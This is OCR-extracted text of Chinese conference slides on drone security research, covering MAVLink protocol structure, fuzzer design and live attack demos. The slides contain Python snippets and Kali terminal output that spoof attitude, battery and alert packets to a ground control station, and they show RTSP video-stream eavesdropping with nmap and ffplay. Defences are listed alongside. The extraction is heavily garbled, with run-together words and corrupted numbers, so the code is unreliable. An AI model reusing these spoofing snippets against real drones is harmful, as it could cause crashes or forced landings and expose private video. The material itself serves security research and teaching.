版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
腾讯安全
云鼎实验室锋刃无影御见未来腾讯安全沙龙第4期(长沙站)●毕业于国防科大,曾在战支某部、梆梆
安全、三六零等公司任职●
湖南省青商会常务理事、人民邮电出版
社网络安全专家委员●行业技术报告2篇,技术发明专利5项,
挖掘智能网联汽车零部件Oday
漏洞上百个●牵头编写ITU-T国
际标准1项,参
与
智
能
网联汽车国家标准团体标准多项About
me龚伟炜长沙五戎科技有限公司
创始人&CEO关于我低空防线:无人机通信协议模糊测试与系统安全研究新突破——基于模糊测试的多旋翼无人机安全研究一
无人机软硬件架构特征二无人机通信协议三
无人机模糊测试初探四无人机漏洞视频演示目录Contents一
、无人机软硬件架构特征多旋翼和固定翼
100C100多旋翼架构特征操作系统
ROS通信协议硬件飞行控制系统:
MCU、IMU、气压计、GPS
模块(大脑)通信模块:无线、卫星通信(嘴巴,耳朵)动力系统:电机与电子调速器、
BMS
(四肢)传感器系统:
摄像头,红外、避障、环境等传感器(视、听、触)存储设备:SD卡辅助调试:调试接口硬件主控:STM32F4051
陀螺仪:
姿态感知、飞行控制硬件GCS)
的“姿态欺骗”攻击。通过伪造无人机的姿态数据(包括俯仰角、滚转角和偏航角),让地面控制站误
判无人机的实际方位和运动。这种欺骗可能导致操作员基于虚假的数据做出错误
决策,根据姿态自动调整的时候,会导致机器失去平衡。针对无人机地面控制站
(Ground
ControlStation,1、
飞行姿态欺骗漏洞原理while
True:heartbeat_packet
=create_heartbeat()attitude_packet=create_attitude()send_mavlink_packet(heartbeat_packet,target_ip,target_port)send_mavlink_packet(attitude_packet,target_ip,target_port)roll
=random.uniform(-1.0,1.0)
#
滚转角(弧度)yaw=random.uniform(-3.14,3.14)#
偏航角(-π到π)SendaMAVLink
packetusingScapy.send(packet)CODE700000+9.8ft
个-0.0
mpho00:01:0143.3
ft
→0.0mph秀
0
.
0ft飞行姿态欺骗ARDUPILOT1001000飞行姿态欺骗ARDUPILOTTeranLodPogess00000—(kali@kali)-[~/Desktop/NewFolder]s
sudopython./zitai.py
10.13.0.6:14550100+9.8t
^0.0
mph
000:01:1343.4t→0.1mpht0.0ft7100kalf@kal-/DesktoplNew
FolderFile
Actions
Edit
View
Help#伪代码示例:姿态角合理性校验if
abs(attitude.roll)>math.pi/2orabs(attitude.pitch)>
math.pi/2:
ra
iseInvalidAttitudeError(
"姿态角超出物理极限")#
心跳包枚举值白名单校验if
heartbeat.system_status
not
in
MAV_STATE_VALID_STATES:trigger_antispoofing_protocol()防御操作系统
100实时操作系统
(RTOS):
如果有任务需要执行,实时操作系统会立即(在较短时间内)
执行该任务,保证了任务在指定时间内完成。开源:
FreeRTOS两大核心:任务调度:根据任务的优先级和资源需求,合理分配
CPU
时间,
确保高优先级任务及时执行,从而满足实时性要求中断管理:
快速响应外部事件(如硬件信号)来暂停当前任务,
执行中断处理程序,完成后恢复,保障系统的实时响应能力。ROS100ROS(Robot
Operating
System)(1)无人机仿真,避免摔坏真机。(2)开源生态:有全球最大的机器人开源社区(3)
在无人机中负责多方面的控制与数据处理。
例
如
,BMS电池的状态数据也会传递给ROS。向地面控制站
(GCS)发送虚假的电池状态数据,以
误
导其了解无人机的实际电池状态。无人机电量达到一个临界点0,会导致触发紧急着陆协
议或其他安全措施。例如终止当前任务,自动返航、无视GPS
信号质量直接迫降、
禁用电机输出(部分固件版本)2、
BMS
欺骗原理battery_status=mav.battery_status_encode(id=0,#Battery
IDbattery_function=mavutil.mavlink.MAV_BATTERY_FUNCTION_ALL,#Function
ofthebatterytype=mavutil.mavlink.MAV_BATTERY_TYPE_LIPO,#Typeofbatterytemperature=300,#Temperature
in
celsius
*10voltages=[3000,3000,3000,θ,θ,θ,θ,θ,θ,e],#Very
Low
battery
voltage
of
cells(in
millivolts)cUrrent_battery=-1,#Battery
current
in10*milliamperes(-1
for
not
measured)CUrrent_consumed=5000,#Consumedcurrent
in
mAh(highvalue
indicating
usage)energy_consumed=10000,#Consumedenergyin1/100thJoules(highvalueindicatingusage)battery_remaining=0
#Remaining
battery
energy(0%-indicating
dead
battery)return
battery_status.pack(mav)100whileTrue:battery_status_packet=create_battery_status()send_mavlink_packet(battery_status_packet,target_ip,target_port)BMS欺骗CODEARDUPILOT00000+9.8t
个-0.0mpho00:02:3348.8t→0.0mph4175.7ftFile
Actions
Edit
View
HelpSent
1
packets.Sentbatterystatuspacket
to10.13.0.6:14550
Sent
1
packets.Sentbatterystatuspacket
to10.13.0.6:14550
Sent
1
packets.Sentbatterystatuspacket
to10.13.0.6:14550
Sent
1
packets.Sentbatterystatuspacket
to10.13.0.6:14550BMS欺骗)kali@kali:~/Desktop/New
Folder+9.8ft个-0.0
mpho00:02:4248.7t→0.0mph秀175.7ftARDUPILOI2071.
启用MAVL
ink
签名字段(signature)
验证消息来源
2.部署电池物理指纹技术
(如内阻动态检测)
3.引入卡尔曼滤波器预测电量消耗曲线,拒绝突变数据防御100二
、无人机通信协议通信协议MA
VLink
协议无线电频率协议:
2.4G、5.8G
4G
/5G/
卫星通信协议RTSP:
视频传输协议OcuSync协议1007·MAVLink
是为微型飞行器MAV(Micro
Air
Vehicle)
设计的
(LGPL)开源轻量级的消息传输协议。
·
无人飞行器和地面站
(GCS)
之间,以及无人飞行器之间通讯常用的协议。·APM、PIXHAWK飞控,MissionPlanner、QGroundControl地面站均使用了MAVLink
协议进行通讯。MAVlink通信协议解释起始标志,在v1.0中以“FE”作为起始标志(FE=0xFE)有效载荷数据的字节长度
(N)消息帧的序列号,每发送完一个消息,内容加1。用以检测丢包情况系统ID:
发送本条消息包的系统/飞行器的编号。用于消息接收端在同一网络中识别发送消息的系统或飞行器。组件ID:发送本条消息包的部件的编号。用于消息接收端在同一系统中区分不同的组件,如IMU
和飞控消息ID:有效载荷中消息包的编号。该id
定义了有效载荷内放的是什么类型的消息,以便消息接收端正确地解码消息包要用的数据放在有效载荷里,内容取决于message
id,长度为LEN校验位:ITU
X.25/SAE
AS-4哈希校验(CRC-16-CCITT),不包括数据包起始位,从第一个字节到有效载荷(字节1
..
(N+6))进行crc16
计算(还要额外加上一个MAVLINK_CRC_EXTRA
字节),得到一个16位校验码校验位:上述CRC-16
的高位部分STXLENSEQSYSCOMPMSGPAYLOADCKACKB8
-
2
6
3
字
节值V10
2550
~2551
~2550~2550~2550~2
55字节16位校验码的低字节16位校验码的高字节MAVlinkv1.0
协议解析内容STXLENSEQSYSCOMPMSGPAYLOADCKACKB字节索引0123456~N
+6N+7N+8起始字节
(
STX):FE这是MAVLink
协议的起始标志位,在MAVLink
v1中,每个数据包都以0xFE
开始。长度
(Length):09这个字节表示数据包中有效载荷
(不包括起始字节、长度、系统ID、组件ID
和校验和
)的长度。在这个例子中,09意味着有效载荷长度为9字节。数据包序列号:48代表这是发送的第73个序列系统ID:FF即系统id为255,这里接收的是QGC
的默认系统id。组件ID:BEBE
在十六进制中对应的十进制数值是190,对应id为190的这个组件。消息I
D:00对应数字0,代表这是一条心跳广播。具体消息对应id
在官网找到。有效载荷(Payload)
:000000000608CO0403这是消息的数据部分,内容取决于消息ID。最后两个字节是校验和,用于验证数据包的完整性。校验和是根据数据包中的特定字节计算得出的。MAVlin
k
v1.0
协议解析
FE0948
FF
BE00000000000608C004039C
B6心跳包一般用来表明发出该消息的设备是否活跃,消息接收端会根据是否及时收到了心跳包来判断是否和消息发送
端失去了联系。心跳包由6个数据成员组成,占用9个字节。1、type:
飞行器类型,表示了当前发消息的是什么飞行器,如四旋翼,直升机等。type的取值对应枚举类型MAV_TYPE(如四旋翼,对应数值2)。2、autopilot:
飞控类型,什么牌子,如apm,Pixhawk
等
)3、base
mode:基本模式:飞控现在所处的飞行模式(手动、自动、返航、悬停等模式)4、custom
mode:用户模式:在基础上,更详细飞行状态(自动起飞、自动降落、执行特定任务、自动导航)5、system
status:系统状态(正常工作、启动中、警告、故障、关闭)6、mavlink
version:版
本:消息发送端的MAVLink
版本。Field
Nametypeautopilotbase_modecustom_modesystem_statusmavlink_versionType
Descriptionuint8_t
Type
of
the
MAV(quadrotor,helicopter.etc..up
to15types.definedin
MAV_TYPEENUM)uint8_t
Autopilot
type/class.defined
in
MAV_AUTOPILOT
ENUMuint8_t
System
mode
bitfield.see
MAV_MODE_FLAG
ENUM
inmavlinkfinclude/mavlink_types.huint32_t
Abitfield
for
use
for
autopilot-specific
flags.uint8_t
System
status
flag.see
MAV_STATE
ENUMuint8_t_mavlink_versionMAVLink
version.not
writable
by
user.gets
added
by
protocol
because
of
magic
data
type:uint8
t
mavlink
versionHEARTBEAT(#0
)the
recelving
system
to
treat
turther
messages
from
this
system
appropr
fate(eg.by
laying
out
the
user
interface
based
onthe
auntoplot.STXLENINCCMPFLAGSFLAGSSEQSYSIDCOMP
IDMSG
ID(3
bytes)PAYLOAD(0-255
bytes)CHECKSUM(2
bytes)SIGNATURE(13bytes)字节索
引0名称STXC版本
内容值含义uint8_t
magic
数据包起始标志OxFD协议特定的文本开始(STX)标记,用于指示新数据包的开始。12LENINC
FLAGSuint8_t
lenuint8_tincompat_flags有效载荷长度不兼容标志0-255-标识该消息包中负载长度为实现MAVLink兼容性必须理解的标志(若实现不理解标志,则丢弃数据包)。3CMP
FLAGSuint8_t
compat_flags
兼容性标志如果不理解,则可以忽略的标志(即使不
理解标志,实现仍然可以处理数据包)。4SEQuint8_t
seq
包序列号0-255
消息发送序列号,用于检测数据包的丢失5SYS
IDuint8_t
sysid
系统ID(发送者)发送信息的系统(车辆)的ID。用于区分67
to
9COMP
IDMSG
IDuint8_t
compiduint32_t
msgid:24uint8_t
payload[max255]组件ID(发送者)消息ID
(low,middle,highbytes)1-255
组件(例如自动驾驶仪和摄像头)0-16777215
息。类型的ID。用于将数据解For
n-byte
payload:n=0:NA,
n=1:10,n>=2:10to(9+n)PAYLOAD消息载荷消息内部的负载信息(n+10)to(n+11)(n+12)to(n+25)CH
ECKSUMuint16_t
checksumSIGNATUREuint8_tsignature[13]Checksum(low
byte,high
byte)签名信息CRC-16/MCRF4XX
for
message(excluding
magic
byte)
IncludesCRC_EXTRA
byte.(可选)签名以确保链接是防篡改的.息对象载中消消负回效码有MAVlink
v2.0
协议解析MAVLinkV2(12-280)5发送消息的组件的ID。用于区分系统中的1-255
网络上的系统.100协议漏洞案例Sent
1
packets.SentSTATUSTEXTpacketwith
severity
5
and
message'NOTICE:System
check
comp
lete'to
10.13.0.6:14550SentSTATUSTEXTpacketwithseverity
4
and
message
‘WARNING:High
temperature
detected'to10.13.0.6:14550Sent
1
packets.Sent
STATUSTEXT
packet
with
severity
3
and
message
'ERROR:GPS
signal
lost't
o10.13.0.6:14550[07:26:28.259]Info:ArduCopterV4.4.4(865cffa5)[07:26:28.259]Info:f30d9cd50502[07:26:28.259]Info:Frame:QUAD/X[97:28:83.222]ALERT:ALERT:Attentionneeded[97:28:04.270]Warning:WARNING:Hightemperaturedetected【07:28:05.322]Notice:NOTICE:Systemcheckcoplete[
::
::
.
7]A】L
:
:
R:
t:
t
tion
n[07:28:08.456]Notice:NOTICE:System
check
complete[07:28:09.499]Marning:WARNING:H1ghtemperaturedetected[07:28:10.523]Error:ERROR:GPSsignallostddeeddeeeennntetioAenTAtALEERTRTALALEERT584368706282897073、
告警欺骗1004、验证绕过÷9.8ft
个-0.0
mpho00:02:00
40.1ft
→0.0
mph*148.9ftARDUPILOI自100%100900Dnmap
10.13.0.3
-script
rtsp*Nmap
scan
report
for
10.13.0.3(
10.13.0.3)Host
is
up(0.0000080s
latency).Not
shown:997
closed
tcp
ports(reset)PORT
STATESERVICE5
-ur
ut
t:spdiscovered:rtsp://10.13.0.3/stream1TI_rtsp-mechods:OPTIOiNS,DeSCRIbE,ANIMOUNCE,GET_PARAMETER,PAUSE,PLAY,RECO,
,S
RA
ER,TEARDOWNMAC
Address:02:42:0A:0D:00:03(Unknown)Ls
ffplayrtsp://10.13.0.3:554/streamlffplay
version7.1-3+b1Copyright(c)2003-2024the
FFmpeg
developerspppMETnAePp_oETcpUP00SE30RDerrnsptcpr4built
with
gcc
14(Debianconfiguration:--prefix=/usrbdir=/usr/lib/x86_64-linux-gnuamd64-enable-gpl-disable-stripping-disable-libmfx--disable-omx
-enable-gnutls-enable-libaom-enable-libass-enable-libbs2b-enable-libcdio--enable-libcodec2-enable-libdav1d-enable-libflite-enable-libfontconfig--enable-libfreetype-enable-libfribidi
-enable-libglslang--enable-libgme-xvid-enable-libzimg-enable-openal-enable-opencl-enable-opengl--disab5、RTSP窃听14.2.0-11)-extra-version=3+b1
-toolchain=hardened--incdir=/usr/include/×86_64-linux-gnu-enable-libgsm
-enable-libharfbuzz
-enable-libmp3lame
--enable-libmysofa
-enable-libopenjpeg-enable-libopenmpt--enable-libopus--enable-librubberband-enable-libshine-enable-libsnappy-enable-libsoxr--enable-libspeex--enable-libtheora--enable-libtwolame
-enable-libvidstab-enable-libvorbis-enable-libvpx--enable-libwebp-enable-lib×265-enable-libxml2--enable-lib--li--archG100三
、无人机模糊测试计算方式心跳包=1.0,控制指令=3.0,参数配置=2.0,数据回传=0.5新覆盖基本块数
×2+新覆盖边数×1(字段数/10)+
嵌套深度
×2+数组字段存在标志×1同类崩溃历史次数
×log
(严重等级)触发新状态转换次数×2有效CRC=1.5/无效CRC=0.5def
calculate_score(self,seed):score
=8#基础权重score
+=self._criticalmessage_score(seed)
*2.0#
关键肖息加倍score+=
self.coverage_score(seed)*1.5score+=
self.complexity_score(seed)*8.8score+=self._crash_correlation_score(seed)*
3
.8
#
崩溃相关最高权重#时间衰减因子score*=(8.95**
seed.age)#
老化衰减returnmax(score,0.1)#
保持最小优先级评分维度关键消息类型代码覆盖率提升消息结构复杂度崩溃相关性状态转移触发校验和有效性模糊测试引擎设计权重系数×2.0×1.5×0.8×3.0×1.2×0.7种子选择策略class
SeedScorer:def
_mutate_length(self):#生成长度与payload
不匹配的用例ifrandom.random()<0.3:self.base.len=(self.base.len+random.randint(-5,5))%255defmutate_magic(
header):magic_values=[xFE,QxFD,0x80,8xFF]#MAVLinkv1=8xFE,v2=8xFDifrandom.random()<0.
3:header.magic=random.choice(magic_values)#随机替换
elif
random.random()<
0.2:header.magic=header.magic
^8xFF
#
位翻转模糊测试引擎设计种子变异策略FE
00
48
FF
BE
009C
B6FE0148
FF
BE00
FF*109C
B6·
基础变异策略·
字段值的边界测试·
溢出型变异策略模糊测试引擎设计种子变异策略FE0900FF
BE
009CB6FE
09FF
FF
BE
009C
B6·
基础变异策略·
序列号异常变异策略1000def
mutate_sequence(header):#生成异常序列号模式header.seq=random.choice(patterns)header.seq
+
257,random.randint(0,255)patterns
=[8x00,8xFF,#
超
过uint8
范围#
随机值#最小值#最大值溢出classFieldMutator:def
mutate(self,field_def,value):if
field_def.
type
=='uint8_t':return
self._mutate_int(value,θ,255)
elif
field_def.type=='float':return
self._mutate_float(value)
elif
enum’in
field_def:return
self._mutate_enum(field_def.enum)|def_mutate_int(
self,value,min_val,max_val):mutations=【min_val-1,
#下溢出max_val
+1,
#上溢出(value
A
8xFF),
#位翻转random.randint(0,BxFFFFFFFF)#随机大数·
高级变异策略·Pay
loa
d字段级变异·
消息结构破坏
C004039C
B6000608FFBE
000800940000FEreturn
random.choice(mutations)def
mutate_float(self,value):float('inf'),-float('inf'),float('nan'),1e30,-1e30,0.0return
struct.unpack('f’,struct.pack('
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高中班级公约及奖惩制度
- 监理对建筑三违奖惩制度
- 社区安全奖惩制度范本
- 生涯规划小组奖惩制度
- 小学二年级作业奖惩制度
- 火灾事故奖惩制度细则
- 班组工会工作奖惩制度
- 酒店餐厅员工奖惩制度
- 项目文件收发文奖惩制度
- 汽车维修行业奖惩制度
- TD-T 1041-2013 土地整治工程质量检验与评定规程
- 农网改造施工工艺
- TCRHA 015-2023 成人经鼻高流量氧疗护理规范
- GB/T 32764-2016边鸡
- GB/T 224-2019钢的脱碳层深度测定法
- 机械设备、人员一览表
- 函数y=Asin(wx+φ)的图象与性质优质课比赛课件
- 2022年环境监测技能知识考试参考题500题(含各题型)
- 分数百分数应用题的复习课件
- 交通索道桥(悬索桥)工程专项施工方案
- 《红楼梦》 简答题 试卷及答案 汇编全集(第1-80回合集资料)
评论
0/150
提交评论